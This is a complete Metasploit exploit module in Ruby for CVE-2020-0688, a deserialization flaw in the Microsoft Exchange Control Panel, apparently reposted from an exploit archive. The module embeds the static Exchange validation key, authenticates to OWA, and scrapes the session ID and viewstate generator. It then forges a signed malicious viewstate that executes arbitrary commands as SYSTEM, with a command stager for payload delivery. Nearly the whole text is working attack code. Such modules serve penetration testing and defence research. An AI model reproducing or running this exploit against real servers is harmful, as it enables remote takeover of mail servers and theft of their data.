Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'bindata'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
# include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'  
VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf"  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Exchange Control Panel Viewstate Deserialization',  
'Description' => %q{  
This module exploits a .NET serialization vulnerability in the  
Exchange Control Panel (ECP) web page. The vulnerability is due to  
Microsoft Exchange Server not randomizing the keys on a  
per-installation basis resulting in them using the same validationKey  
and decryptionKey values. With knowledge of these, values an attacker  
can craft a special viewstate to cause an OS command to be executed  
by NT_AUTHORITY\SYSTEM using .NET deserialization.  
},  
'Author' => 'Spencer McIntyre',  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2020-0688'],  
['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],  
[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],  
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'DefaultTarget' => 1,  
'DisclosureDate' => '2020-02-11',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],  
'Reliability' => [ REPEATABLE_SESSION, ],  
}  
))  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),  
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),  
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])  
])  
  
register_advanced_options([  
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),  
])  
end  
  
def check  
state = get_request_setup  
viewstate = state[:viewstate]  
return CheckCode::Unknown if viewstate.nil?  
  
viewstate = Rex::Text.decode_base64(viewstate)  
body = viewstate[0...-20]  
signature = viewstate[-20..-1]  
  
unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature  
return CheckCode::Safe  
end  
  
# we've validated the signature matches based on the data we have and thus  
# proven that we are capable of signing a viewstate ourselves  
CheckCode::Vulnerable  
end  
  
def generate_viewstate(generator, session_id, cmd)  
viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)  
signature = generate_viewstate_signature(generator, session_id, viewstate)  
Rex::Text.encode_base64(viewstate + signature)  
end  
  
def generate_viewstate_signature(generator, session_id, viewstate)  
mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')  
mac_key_bytes << Rex::Text.to_unicode(session_id)  
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)  
end  
  
def exploit  
state = get_request_setup  
  
# the major limit is the max length of a GET request, the command will be  
# XML escaped and then base64 encoded which both increase the size  
if target.arch.first == ARCH_CMD  
execute_command(payload.encoded, opts={state: state})  
else  
cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first  
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})  
end  
end  
  
def execute_command(cmd, opts)  
state = opts[:state]  
viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)  
5.times do |iteration|  
# this request *must* be a GET request, can't use POST to use a larger viewstate  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),  
'cookie' => state[:cookies].join(''),  
'agent' => state[:user_agent],  
'vars_get' => {  
'__VIEWSTATE' => viewstate,  
'__VIEWSTATEGENERATOR' => state[:viewstate_generator]  
}  
})  
break  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')  
sleep iteration  
end  
end  
  
def get_request_setup  
# need to use a newer default user-agent than what Metasploit currently provides  
# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string  
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),  
'method' => 'POST',  
'agent' => user_agent,  
'vars_post' => {  
'password' => datastore['PASSWORD'],  
'flags' => '4',  
'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),  
'username' => datastore['USERNAME']  
}  
})  
fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?  
cookies = [res.get_cookies]  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),  
'cookie' => res.get_cookies,  
'agent' => user_agent  
})  
fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200  
cookies << res.get_cookies  
  
viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0]  
if viewstate_generator.nil?  
print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")  
viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR  
else  
vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")  
end  
  
viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0]  
if viewstate.nil?  
vprint_warning('Failed to find the __VIEWSTATE value')  
end  
  
session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]  
if session_id.nil?  
fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')  
end  
vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")  
  
{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}  
end  
end